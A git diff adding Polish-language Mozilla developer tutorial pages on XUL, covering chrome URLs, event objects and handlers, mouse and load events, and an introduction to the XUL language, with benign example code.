+
+<h3 id="URL_Chrome" name="URL_Chrome">URL Chrome</h3>
+
+<p>Pliki XUL mogą być połączone z normalnymi adresami URL HTTP (lub innymi typami adresów URL) tak jak pliki HTML. Jednakże paczki, które są zainstalowanej wewnątrz systemu chrome Mozilli mogą się łączyć ze sobą za pomocą specjalnych adresów URL. Paczki zawarte z przeglądarką Mozilli są już zainstalowane, ale możemy zarejestrować swoje własne.</p>
+
+<p>Paczki zainstalowane nie mają żadnych ograniczeń ochronnych, co jest wymagane przez wiele aplikacji. Inną zaletą nad innymi typami URL jest automatyczne radzenie sobie z tematami i lokalizacjami. Dla przykładu, chrome URL pozwala dostać się do pliku grafiki w temacie wyglądu bez potrzeby znania tematu używanego przez użytkownika. Jest to możliwe dzięki temu, że każdy temat posiada takie same nazwy plików. Mozilla sama określi gdzie znajduję się plik i zwróci właściwe dane. Nie ma też znaczenia dla tego żeby się do niej dostać, gdzie paczka jest zainstalowana. Chrome URL są nie zależne od fizycznego miejsca plików. To czyni pisanie aplikacji odnoszącej się do wielu plików znacznie łatwiejsza gdyż nie musisz się martwić gdzie one dokładnie się znajdują.</p>
+
+<p>Prosta składnia URL chrome jest następująca:</p>
+
+<pre class="eval"><a class="external" rel="freelink">chrome://</a><em>&lt;nazwa paczki&gt;</em>/<em>&lt;część&gt;</em>/<em>&lt;plik.xul&gt;</em>
+</pre>
+
+<p><span class="comment">Another advantage over other URL types is that they automatically handle multiple themes and locales. For example, a chrome URL lets you refer to a file in the theme such as an image without needing to know which theme the user is using. As long as the filenames are the same in each theme, you can refer to the file using a chrome URL. Mozilla will take care of determining where the file is located and return the right data. This also means that it doesn't matter where the package is installed to be able to access it. The chrome URLs are independent of where the files might physically be located. This makes it much easier to write applications that have lots of files since you don't have to worry about the details of locating files.</span>  &lt;nazwa paczki&gt; - to nazwa paczki jak np. edytor czy komunikator. &lt;część&gt; - to np. 'content', 'skin' lub 'locale' zależnie do czego się odnosisz. &lt;plik.xul&gt; - to nazwa pliku.</p>
+
+<p><strong>Przykład:</strong> <a class="external" rel="freelink">chrome://messenger/content/messenger.xul</a></p>
+
+<p>Przykład odnosi się do okna Kuriera (messenger'a). Możesz dostać się do pliku tematu zmieniając 'content' na 'skin' i zmieniając nazwę pliku. Tak samo możesz dostać się do katalogu 'locale'.</p>
+
+<p>Kiedy otwierasz chrome URL, Mozilla sprawdza swoją listę zainstalowanych paczek i próbuje zlokalizować plik JAR który odpowiada nazwie paczki i jej części. Po odnalezieniu zagląda do tego pliku w poszukiwaniu pliku.xul. Mozilla zawsze zacznie poszukiwania w tym samym katalogu w pliku JAR gdzie znajduję się powiązany plik contents.rdf, który opisano w poprzedniej sekcji. To oznacza, że jeżeli kilka paczek lub części znajduje się w tym samym pliku JAR, pliki znajda się we właściwym miejscu. Dla przykładu plik contents.rdf dla przykładu powyższego adresu chrome URL znajduje się w pliku messenger.jar we wnętrzu tego archiwum, katalog 'content/messenger'. To oznacza, że 'messenger.xul' zostanie wczytany z tej lokacji a jeśli otworzysz messenger.jar znajdziesz ten plik właśnie w tym katalogu. Jeżeli używasz rozszerzonej formy plików zamiast JAR, stanie się to samo z wyjątkiem tego, że Mozilla może przejść bezpośrednio do katalogu bez szukania go w pliku JAR.</p>
+
+<p>Jeżeli przeniesiesz plik messenger.jar gdzieś indziej i uaktualnisz miejsce w liście Mozilla zarejestrowanych paczek chrome, Poczta nadal będzie działać, ponieważ nie polega na określonym miejscu instalacji. Używając chrome URL możemy zostawić szczegóły takie jak te w Mozilli. Podobnie, jeżeli użytkownik zmieni temat, część 'skin' chrome URL przetłumaczy do innego zestawu plików, jeszcze XUL i skrypty nie potrzebują nic zmieniać.</p>
+
+<p>Mozilla jest w stanie zrozumieć, która skóra i język są aktualnie używane i sporządza mapę odpowiednich katalogów dla chrome URL. Pliki chrome.rdf w chrome i katalogu profilu i contents.rdf są tam, by powiedzieć Mozilla jak to zrobić. Użytkownik może użyć każdej skóry albo języka, ale URL-e, które prowadzą do plików chrome nie muszą być zmienione. Na przykład, domyślny navigator.css jest dostępny:</p>
+
+<pre>chrome://navigator/skin/navigator.css
+</pre>
+
+<p>Jeżeli zmieniasz skórę przeglądarki, chrome URL nie zmieni się, nawet jeśli zmieni się prawdziwe miejsce plików użytych przez skórę.</p>
+
+<p>System chrome bierze sekcje nawigatora zawartości, aktualnej skóry i aktualnej lokalizacji i grupuje je razem, by utworzyć interfejs użytkownika. Teraz więcej przykładów, ten raz dla kuriera. Zauważ, że żaden z URL-i nie wskazuje, który temat albo lokalizacja jest użyta i żaden nie wskazuje określonego katalogu.</p>
+
+<pre>chrome://messenger/content/messenger.xul
+chrome://messenger/content/attach.js
+chrome://messenger/skin/icons/folder-inbox.gif
+chrome://messenger/locale/messenger.dtd
+</pre>
+
+<p>Dla pod paczek, można użyć tej samej struktury. Następne adresy odniosą się do okna zakładek, sporządzone zarówno dla Mozilli i Firefoksa, odkąd nazwy paczki są różne w obu:</p>
+
+<pre>chrome://communicator/content/bookmarks/bookmarksManager.xul (Mozilla) chrome://browser/content/bookmarks/bookmarksManager.xul (Firefox)
+</pre>
+
+<p>Możesz wejść poprzez chrome URL wszędzie tam, gdzie może zostać użyty normalny URL. Możesz nawet używać ich bezpośrednio w pasku adresu w oknie Mozilli. Jeżeli wejdziesz na któryś z adresów wymienionych powyżej, powinieneś zobaczyć, okno jak strona sieci i przeważnie działałaby jak gdyby to było oddzielne okno. Niektóre okienka dialogowe mogą nie działać dobrze, mogą wymagać argumentów dostarczonych od okna, które je otworzyło.</p>
+
+<p>Zobaczysz też chrome URL bez wyszczególnionych nazw, takie jak:</p>
+
+<pre>chrome://navigator/content/
+</pre>
+
+<p>W tym przypadku, tylko nazwa paczki i część są określone. Ten typ odniesięnia automatycznie wybierze odpowiedni plik z właściwego katalogu. Dla content, plik z tą samą nazwą paczki i rozszerzeniem xul są wybrane. W powyższym przykładzie w pliku navigator.xul jest wybrane. Dla kuriera, messenger.xul byłby wybrany. Kiedy tworzysz swoje własne aplikacje, będziesz chciał utworzyć plik dla twojego głównego okna z tą samą nazwą jak paczka, więc to może zostać odnalezione do używają tej krótszej formy. To jest wygodne odkąd wszystkim co musi wiedzieć użytkownik jest nazwa paczki, by móc otwierać aplikacje. Oczywiście, dla rozszerzeń, które modyfikują interfejs przeglądarki, użytkownik nie będzie potrzebował znać URL, ponieważ rozszerzenie przedstawi siebie w interfejsie użytkownika.</p>
+
+<p>Dla tematów, jest wybrany plik &lt;nazwa paczki&gt;.css. Dla lokalizacji jest wybrany plik &lt;nazwa paczki&gt;.dtd.</p>
+
+<p>Zapamiętaj, że chrome URL nie jest powiązany z tym gdzie na dysku się znajduje. Pierwsze dwa kawałki są nazwą paczki i częścią (content, skin albo locale). Zazwyczaj pliki content umieszczane są w katalogu zwanym 'content', jest to czysto umowne więc te pliki mogą zostać umieszczone w całkowicie innej strukturze. Jedyną regułą jest, że część nazwy chrome URL odnosi się do plików umieszczonych w tym samym katalogu, gdzie znajduje się powiązany plik 'contents.rdf'.</p>
+
+<p>W następnym artykule dowiemy się jak tworzyć pliki contents.rdf i paczki.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Struktura_XUL" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Pliki_manifestu">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/więcej_funkcji_obsługi_zdarzeń/index.html b/files/pl/mozilla/tech/xul/kurs_xul/więcej_funkcji_obsługi_zdarzeń/index.html
new file mode 100644
index 0000000000..cddafecfd3
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/więcej_funkcji_obsługi_zdarzeń/index.html
@@ -0,0 +1,174 @@
+---
+title: Więcej funkcji obsługi zdarzeń
+slug: Mozilla/Tech/XUL/Kurs_XUL/Więcej_funkcji_obsługi_zdarzeń
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/More_Event_Handlers
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL/Dodawanie_funkcji_obsługi_zdarzeń" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL/Skróty_klawiaturowe">Następny »</a></p>
+</div><p></p>
+
+<p>W tym artykule, badana jest postać obiektu zdarzenia oraz opisane są dodatkowe zdarzenia.</p>
+
+<h2 id="Obiekt_zdarzenia" name="Obiekt_zdarzenia">Obiekt zdarzenia</h2>
+
+<p>Każda obsługa zdarzeń posiada pojedynczy argument, który przetrzymuje obiekt <a href="/pl/DOM/event" title="pl/DOM/event">zdarzenia</a>. W postaci atrybutu nasłuchu, zdarzenie jest argumentem kodu skryptu, do którego można się odnosić poprzez używanie nazwy 'event'. Natomiast w funkcji <code><a href="/pl/DOM/element.addEventListener" title="pl/DOM/element.addEventListener">addEventListener</a></code>, pierwszy argument będzie obiektem zdarzenia. Ten obiekt zdarzenia, posiada pewną liczbę własności, które mogą być badane w trakcie trwania zdarzenia. Pełną listę własności można znaleźć w dokumentacji obiektu na <a class="external" href="http://xulplanet.com/references/objref/Event.html">XULPlanet</a>].</p>
+
+<p>Mieliśmy już okazję oglądać własność <code><a href="/pl/DOM/event.target" title="pl/DOM/event.target">target</a></code> zdarzenia w poprzedniej sekcji. Zawiera ona odnośnik do elementu, w którym pojawiło się zdarzenie. Podobną własnością jest <code><a href="/pl/DOM/event.currentTarget" title="pl/DOM/event.currentTarget">currentTarget</a></code>, która zawiera element, którego nasłuch jest aktualnie obsługiwany. W poniższym przykładzie, <code><a href="/pl/DOM/event.currentTarget" title="pl/DOM/event.currentTarget">currentTarget</a></code> zawsze wskazuje na vbox, natomiast własność <code><a href="/pl/DOM/event.target" title="pl/DOM/event.target">target</a></code> będzie przechowywała specyficzny element: przycisk lub pole wyboru, które zostały aktywowane.</p>
+
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_1.xul">Podgląd</a></p>
+
+<pre>&lt;vbox oncommand="alert(event.currentTarget.tagName);"&gt;
+ &lt;button label="OK"/&gt;
+ &lt;checkbox label="Pokaż obrazki"/&gt;
+&lt;/vbox&gt;
+</pre>
+
+<h3 id="Zatrzymanie_propagowania_zdarzenia" name="Zatrzymanie_propagowania_zdarzenia">Zatrzymanie propagowania zdarzenia</h3>
+
+<p>Przypomnijmy, że faza przejęcia ma miejsce przed fazą wrzenia, więc jakikolwiek "listener" należący do tej pierwszej będzie wyzwalany przed nasłuchem drugiej. Jeśli zdarzenie odnoszące się do fazy przejęcia, zatrzyma swoją propagację, żaden z późniejszych "listenerów", tak tych należących do fazy przejęcia, jak i wrzenia nie otrzyma powiadomienia o zdarzeniu. W celu zatrzymania propagacji zdarzenia, wystarczy wywołać metodę <code><a href="/pl/DOM/event.stopPropagation" title="pl/DOM/event.stopPropagation">stopPropagation</a></code> należącą do obiektu zdarzenia. Przykład tego wywołania poniżej:</p>
+
+<p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_2.xul">Podgląd</a></p>
+
+<pre>&lt;hbox id="outerbox"&gt;
+ &lt;button id="okbutton" label="OK"/&gt;
+&lt;/hbox&gt;
+
+&lt;script&gt;
+function buttonPressed(event){
+ alert('Przycisk został naciśnięty!');
+}
+
+function boxPressed(event){
+ alert('Pudełko zostało naciśnięte!');
+ event.stopPropagation();
+}
+
+var button = document.getElementById("okbutton");
+button.addEventListener('command',buttonPressed,true);
+
+var outerbox = document.getElementById("outerbox");
+outerbox.addEventListener('command',boxPressed,true);
+&lt;/script&gt;
+</pre>
+
+<p>W tym przypadku, nasłuch zdarzenia został dodany do przycisku, a inny nasłuch został dodany do ramki. Metoda <code><a href="/pl/DOM/event.stopPropagation" title="pl/DOM/event.stopPropagation">stopPropagation</a></code> została wywołana w "listenerze" ramki, więc "listener" przycisku nigdy nie zostanie wywołany. Jeśli to wywołanie zostało usunięte, oba "listenery" będą wywoływane, co spowoduje pojawienie się obu alertów.</p>
+
+<h3 id="Zapobieganie_domy.C5.9Blnym_akcj.C4.85" name="Zapobieganie_domy.C5.9Blnym_akcj.C4.85">Zapobieganie domyślnym akcją</h3>
+
+<p>Jeśli żadna obsługa wydarzenia nie została zarejestrowani dla wydarzenia, to po zakończeniu fazy przejęcia i wrzenia, element obsłuży zdarzenie w sposób domyślny. Co się stanie zależy od zdarzenia i typu samego elementu. Przykładowo, zdarzenie "popupshowing" jest wysyłane do "popupa" chwilę przed jego wyświetleniem. Domyślną akcją jest wyświetlenie "popupa". Jeśli coś zapobiegnie akcji domyślnej, "popup" nie zostanie wyświetlony. Domyślnej akcji możemy zapobiec dzięki znajdującej się w obiekcie zdarzenia metodzie <code><a href="/pl/DOM/event.preventDefault" title="pl/DOM/event.preventDefault">preventDefault</a></code>. Przykład jej zastosowania poniżej.</p>
+
+<p><span id="Przyk%C5%82ad_3"><a id="Przyk%C5%82ad_3"></a><strong>Przykład 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_3.xul">Podgląd</a></p>
+
+<pre>&lt;button label="Types" type="menu"&gt;
+ &lt;menupopup onpopupshowing="event.preventDefault();"&gt;
+ &lt;menuitem label="Glass"/&gt;
+ &lt;menuitem label="Plastic"/&gt;
+ &lt;/menupopup&gt;
+&lt;/button&gt;
+</pre>
+
+<p>Zauważmy, że zapobieganie domyślnym akcjom, to nie to samo co zatrzymywanie propagacji zdarzenia przy użyciu metody <code><a href="/pl/DOM/event.stopPropagation" title="pl/DOM/event.stopPropagation">stopPropagation</a></code>. Nawet w przypadku kiedy zapobiegnięto domyślnej akcji, zdarzenie będzie nadal kontynuowało swoją propagację. Podobnie, wywoływanie metody <code><a href="/pl/DOM/event.stopPropagation" title="pl/DOM/event.stopPropagation">stopPropagation</a></code>, nie zapobiegnie domyślnej akcji. W celu zatrzymania przed zajściem obu tych akcji, należy wywołać obie powyższe metody.</p>
+
+<p>Warto zaznaczyć, że kiedy zapobiegniemy propagacji lub akcji domyślnej, żadna z nich nie będzie w już stanie być uruchomiona ponownie dla danego wydarzenia.</p>
+
+<p>The following sections list some of the events that may be used. A full list is provided in the <a class="external" href="http://www.xulplanet.com/references/elemref/ref_EventHandlers.html">XULPlanet event reference</a>.</p>
+
+<h2 id="Zdarzenia_myszy" name="Zdarzenia_myszy">Zdarzenia myszy</h2>
+
+<p>Jest tu kilka zdarzeń, które mogą być użyte do obsługi myszki i jej określonych akcji, które są opisane pokrótce poniżej:</p>
+
+<dl>
+ <dt>click </dt>
+ <dd>Wywoływany, kiedy przycisk myszy zostanie naciśnięty i zwolniony nad elementem.</dd>
+</dl>
+
+<dl>
+ <dt>dblclick </dt>
+ <dd>Wywoływana, kiedy przycisk myszy zostanie naciśnięty dwukrotnie.</dd>
+</dl>
+
+<dl>
+ <dt>mousedown </dt>
+ <dd>Wywoływana, kiedy przycisk myszy jest naciśnięty nad elementem. Obsługa zdarzenia będzie wywoływana jak tylko przycisk zostanie naciśniety, nawet jeśli nie został jeszcze zwolniony.</dd>
+</dl>
+
+<dl>
+ <dt>mouseup </dt>
+ <dd>Wywoływana, kiedy przycisk myszy zostanie zwolniony na elemencie.</dd>
+</dl>
+
+<dl>
+ <dt>mouseover </dt>
+ <dd>Wywoływana kiedy wskaźnik myszy zostanie przeniesiony nad element. Można ją wykorzystywać w celu podświetlania elementu, jednakże CSS umożliwia to automatycznie, więc lepiej nie wykonywać tego z pomocą zdarzeń. Można jednak, wykorzystywać to do wyświetlania tekstu pomocy w pasku statusu.</dd>
+</dl>
+
+<dl>
+ <dt>mousemove </dt>
+ <dd>Wywoływana, kiedy wskaźnik myszy zostanie poruszony nad elementem. Zdarzenie to może być wywoływane wiele razy, w chwili w której użytkownik porusza myszą, więc należy</dd>
+</dl>
+
+<p>unikać obsługi nią długotrwałych zadań.</p>
+
+<dl>
+ <dt>mouseout </dt>
+ <dd>Wywoływana, kiedy wskaźnik myszy rozstanie przesunięty poza element. Można to wykorzystać do usunięcia podświetlenia elementu lub usunięcia tekstu pomocy paska statusu.</dd>
+</dl>
+
+<p><span class="comment">There are also a set of drag related events, which occur when the user holds down a mouse button and drags the mouse around. Those events are described in <a href="/pl/Przeciągnij_i_upuść" title="pl/Przeciągnij_i_upuść">Przeciągnij i upuść</a>.</span></p>
+
+<p>Istnieje także zestaw zdarzeń związanych z funkcja drag, które mają miejsce w chwili kiedy, użytkownik przytrzymując wciśnięty przycisk myszy ciągnie (drag) mysz. Zostaną one opisane w późniejszej sekcji związanej z funkcjami <a href="/pl/Przeciągnij_i_upuść" title="pl/Przeciągnij_i_upuść">drag i drop</a>.</p>
+
+<h3 id="W.C5.82asno.C5.9Bci_zdarzenia_przycisku_myszy" name="W.C5.82asno.C5.9Bci_zdarzenia_przycisku_myszy">Własności zdarzenia przycisku myszy</h3>
+
+<p>Kiedy zachodzą zdarzenia związane z przyciskiem myszy, mamy dostęp do różnego typu dodatkowych własności, które są w stanie określić który przycisk myszy został wciśnięty lub dokładną lokalizację miejsca w którym znajduje się wskaźnik myszy. Własności zdarzenia związanego z <code><a href="/pl/DOM/event.button" title="pl/DOM/event.button">przyciskiem</a></code>, mogą zostać użyte w celu określenia, który przycisk został wciśnięty, gdzie dostępne wartości to 0 dla lewego przycisku, 1 dla prawego i 2 dla środkowego. Jeśli mysz jest skonfigurowana inaczej, wartości mogą się zmienić.</p>
+
+<p>Szczegółowe własności (<code><a href="/pl/DOM/event.detail" title="pl/DOM/event.detail">detail</a></code>) przechowują wartość mówiącą, ile razy przycisk został szybko wciśnięty w pewnej sekwencji. Pozwala to sprawdzić czy przycisk został raz, dwa lub trzy razy wciśnięty. Oczywiście, jeśli chcesz tylko sprawdzić podwójne kliknięcia można użyć w zastępstwie zdarzenia dblclick. Zdarzenie wciśnięcia będzie uruchamiane w chwili pierwszego wciśnięcia przycisku, jak również drugiego oraz trzeciego. Zdarzenie dblclick natomiast, będzie uruchamiane jednorazowo dla podwójnego wciśnięcia przycisku myszy.</p>
+
+<p>Własności <code><a href="/pl/DOM/event.button" title="pl/DOM/event.button">przycisku</a></code> oraz własności <code><a href="/pl/DOM/event.detail" title="pl/DOM/event.detail">detail</a></code> stosują się tylko do obsługi zdarzeń powiązanych z przyciskami myszy, a nie jej ruchem. Dla zdarzeń związanych z ruchem myszy, obie własności będą miały wartość 0.</p>
+
+<h3 id="W.C5.82asno.C5.9Bci_zdarzenia_pozycji_myszy" name="W.C5.82asno.C5.9Bci_zdarzenia_pozycji_myszy">Własności zdarzenia pozycji myszy</h3>
+
+<p>Jednak, wszystkie zdarzenia związane z obsługą myszy, będą posiadały dołączone własności przetrzymujące położenie myszy, w chwili zajścia zdarzenia. Istnieją dwa zestawy kordynatów położenia. Pierwszy to własności <code><a href="/pl/DOM/event.screenX" title="pl/DOM/event.screenX">screenX</a></code> i <code><a href="/pl/DOM/event.screenY" title="pl/DOM/event.screenY">screenY</a></code> i są w odniesieniu do lewego, górnego rogu ekranu. Drugi zestaw, <code><a href="/pl/DOM/event.clientX" title="pl/DOM/event.clientX">clientX</a></code> i <code><a href="/pl/DOM/event.clientY" title="pl/DOM/event.clientY">clientY</a></code>, istnieją w odniesieniu do lewego, górnego rogu dokumentu. Poniżej pokazany jest przykład wyświetlający aktualne położenie myszy:</p>
+
+<p><span id="Przyk%C5%82ad_4"><a id="Przyk%C5%82ad_4"></a><strong>Przykład 4</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_4.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_4.xul">Podgląd</a></p>
+
+<pre>&lt;script&gt;
+
+function updateMouseCoordinates(event){
+ var text = "X:" + event.clientX + " Y:" + event.clientY;
+ document.getElementById("xy").value = text;
+}
+&lt;/script&gt;
+
+&lt;label id="xy"/&gt;
+&lt;hbox width="400" height="400" onmousemove="updateMouseCoordinates(event);"/&gt;
+</pre>
+
+<p>W tym przykładzie, rozmiar ramki został wyspecyfikowany, w celu podkreślenia efektu. Obsługa zdarzenia pobiera własności <code><a href="/pl/DOM/event.clientX" title="pl/DOM/event.clientX">clientX</a></code> i <code><a href="/pl/DOM/event.clientY" title="pl/DOM/event.clientY">clientY</a></code>, a następnie tworzy dla nich string. Ten string jest przypisany do własności value danej etykiety. Warto zaznaczyć, że argument zdarzenia musi być przekazany do funkcji <code>updateMouseCoordinates</code>. Jeśli poruszysz szybko myszą, nad granicą ramki możesz zauważyć, że wartości położenia nie zatrzymują się idealnie na wartości 400. Jest to spowodowane zdarzeniem <code>mousemove</code>, które pojawia się w pewnym odstępie czasu po przekroczeniu granicy. Im szybciej poruszała się mysz tym większa będzie różnica między teoretycznie poprawną wartością, a tym co zwrócą nam wartości <code>clientX</code> i <code>clientY</code>.</p>
+
+<h3 id="Element_Relative_Coordinates" name="Element_Relative_Coordinates">Element Relative Coordinates</h3>
+
+<p>W większości przypadków będziemy woleli pobrać koordynaty zdarzenia w odniesieniu do elementu, nie zaś całego okna. Wartości te można otrzymać poprzez, odjęcie pozycji elementu od pozycji zdarzenia. Przykład poniżej.</p>
+
+<pre>var element = event.target;
+var elementX = event.clientX - element.boxObject.x;
+var elementY = event.clientY - element.boxObject.y;
+</pre>
+
+<p>Elementy XUL posiadają obiekty ramek, które mogą być odzyskiwane za pomocą własności boxObject. Więcej informacji na ten temat znajdziemy w kolejnej sekcji, jednak co warto powiedzieć już teraz to, że wspomniana własność przechowuje informacje określającą jak wyświetlany jest element, włączając jego koordynaty x i y. W poniższym przykładzie, wspomniane koordynaty zostaję odjęte od koordynatów zdarzenia. Operacja ta daje nam pozycję zdarzenia w odniesieniu do elementu.</p>
+
+<h2 id="Zdarzenia_wczytywania" name="Zdarzenia_wczytywania">Zdarzenia wczytywania</h2>
+
+<p>Zdarzenie wczytywania jest wysyłane do dokumentu (znacznika <code><code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code>), kiedy tylko plik XUL zakończy wczytywanie i zaraz przed wyświetleniem zawartości. To zdarzenie jest bardzo często używane do inicjacji pól i wykonywania innych zadań które wymagają być zrobione przed tym jak użytkownik będzie używał okna. Należy używać zdarzenia wczytywania, aby wykonywać tego typu rzeczy dodając skrypt na górnym poziomie na zewnątrz funkcji. Wymagane to jest ze względu na to że elementy XUL mogą być jeszcze niewczytane lub nie w pełni zainicjowane, ze względu na co niektóre rzeczy mogą nie działać tak jak powinny. W celu użycia zdarzenia wczytywania, umieść atrybut <code><code id="a-onload"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onload">onload</a></code></code> w znaczniku <code><code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code>. Wywołaj kod wewnątrz obsługi zdarzenia wczytywania, który zainicjuje potrzebny interfejs.</p>
+
+<p>Istnieją także zdarzenia przeciwne do wczytywania (unload), które są wywoływane w trakcie zamykania okna lub w kontekście przeglądarki, kiedy strona jest przełączana na kolejny adres URL. Możemy wykorzystywać to zdarzenie do zapisania jakichkolwiek informacji.</p>
+
+<p>W następnym artykule dowiemy się <a href="/pl/Kurs_XUL/Skróty_klawiaturowe" title="pl/Kurs_XUL/Skróty_klawiaturowe">jak dodać dodawać skróty klawiaturowe</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL/Dodawanie_funkcji_obsługi_zdarzeń" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL/Skróty_klawiaturowe">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/wprowadzenie/index.html b/files/pl/mozilla/tech/xul/kurs_xul/wprowadzenie/index.html
new file mode 100644
index 0000000000..2a7783d02e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/wprowadzenie/index.html
@@ -0,0 +1,73 @@
+---
+title: Wprowadzenie
+slug: Mozilla/Tech/XUL/Kurs_XUL/Wprowadzenie
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Introduction
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Struktura_XUL">Następny »</a></p>
+</div><p></p>
+
+<p>Ten kurs pomoże Ci nauczyć się XUL (XML User Interface Language) (język opisu interfejsu użytkownika XML), wieloplatformowego języka opisującego interfejs użytkownika.</p>
+
+<p>Kurs pokazuje, jak stworzyć prosty interfejs w postaci okna <code>Znajdź pliki</code>, wyglądającego podobnie jak okno w programie Sherlock na Macintoshu lub okienko dialogowe w Windows. Utworzony zostanie tylko interfejs użytkownika o nieco ograniczonej funkcjonalności. Faktyczne wyszukiwanie plików nie zostanie w nim zaimplementowane. Czytając po kolei poszczególne artykuły kursu, dowiemy się, jak utworzyć okienko dialogowe <code>Znajdź pliki</code>.</p>
+
+<h3 id="Czym_jest_XUL_i_po_co_zosta.C5.82_stworzony" name="Czym_jest_XUL_i_po_co_zosta.C5.82_stworzony">Czym jest XUL i po co został stworzony</h3>
+
+<p>XUL (wym. "zool" i rymuje się z "cool") stworzony został w celu uproszczenia i przyspieszenia rozwoju przeglądarki Mozilla. Jest językiem opartym na języku XML (Extensible Markup Language), w związku z czym wszystkie dostępne własności języka XML są także dostępne w języku XUL.</p>
+
+<p>Większość aplikacji musi być rozwijana na bazie własności konkretnych platform, co niesie za sobą duże nakłady czasu i kosztów. Mimo że dla części użytkowników nie jest to istotne, inni mogą chcieć używać aplikacji na innych urządzeniach, takich jak urządzenia przenośne lub urządzenia typu set-top box.</p>
+
+<p>W przeszłości stworzono wiele rozwiązań wieloplatformowych. Java, na przykład, szczyci się swoją możliwością przenoszenia pomiędzy różnymi systemami. XUL jest jednym z takich języków, zaprojektowanych do tworzenia przenośnych interfejsów użytkownika.</p>
+
+<p>Budowa aplikacji zajmuje dużo czasu, nawet dla jednej tylko platformy. Wiele czasu wymaga też kompilacja i debugowanie. Dzięki XUL interfejs można implementować i modyfikować szybko i w prosty sposób.</p>
+
+<p>XUL posiada wszystkie zalety języka XML, więc XHTML lub inny język oparty na XML, jak MathML (Math Markup Language) czy  SVG ("Scalable Vector Graphics), może być do niego bezpośrednio włączony. Ponieważ tekst wyświetlany z XUL jest wpisany wprost, oznacza to, że łatwo i przy małym nakładzie pracy może zostać przetłumaczony na inny język.</p>
+
+<p>Do modyfikacji wyglądu interfejsu użytkownika można wykorzystać arkusze stylów CSS (w podobny sposób, jak w odtwarzaczu WinAmp, na menedżery okien nakłada się<em>skórki</em>).</p>
+
+<h3 id="Jakie_rodzaje_interfejsu_u.C5.BCytkownika_mog.C4.85_by.C4.87_stworzone_w_XUL" name="Jakie_rodzaje_interfejsu_u.C5.BCytkownika_mog.C4.85_by.C4.87_stworzone_w_XUL">Jakie rodzaje interfejsu użytkownika mogą być stworzone w XUL</h3>
+
+<p>XUL pozwala na tworzenia większości elementów znanych ze współczesnych interfejsów graficznych. Jest wystarczająco ogólny, aby mógł być dostosowany do specjalnych potrzeb na niektórych urządzeniach, a jednocześnie wystarczająco potężny, by programiści mogli dzięki niemu tworzyć rozbudowane interfejsy.</p>
+
+<p>W XUL można utworzyć m.in.:</p>
+
+<ul>
+ <li>Kontrolki wejścia w formie pól tekstowych i pól wyboru</li>
+ <li>Paski narzędzi z przyciskami lub innymi elementami</li>
+ <li>Menu na pasku menu lub menu podręczne</li>
+ <li>Karty z oknami dialogowymi</li>
+ <li>Hierarchiczne drzewa lub tabele</li>
+ <li>Skróty klawiaturowe</li>
+</ul>
+
+<p><span class="comment">przy liście, jeżeli stosujemy dużą literę na początku musimy dać na koniec kropkę, ew. nie stawiać nic. przecinki i kropke na końcu listy można stosować, jeśli kolejne wypunktowania zaczynamy małą literą</span></p>
+
+<p>Wyświetlaną zawartość można utworzyć z treści pliku XUL lub z danych z tzw. źródła danych. W Mozilli takimi źródłami danych mogą być: skrzynka pocztowa użytkownika, jego zakładki i wyniki wyszukiwania. Zawartość menu, drzew i innych elementów może być wypełniana tymi danymi lub danymi dostarczonymi w pliku RDF (Resource Description Framework).</p>
+
+<p>Zawartość XUL jest zwykle ładowana z pakietu zainstalowanego w Mozilli. Pakiet taki pozwala aplikacji na dodatkowe uprawnienia, takie jak odczyt plików lokalnych i modyfikację preferencji użytkownika. Pliki XUL i powiązane z nimi skrypty oraz obrazki danej aplikacji są pakowane do jednego pliku, który użytkownik może pobrać i zainstalować. Mozilla dostarcza środki do instalowania i rejestrowania takich pakietów bez potrzeby pisania dużej ilości złożonego kodu. Ponadto pakiety te mogą się nakładać na przeglądarkę lub inną aplikację, rozszerzając ich możliwości. W ten sposób działają rozszerzenia Firefoksa.</p>
+
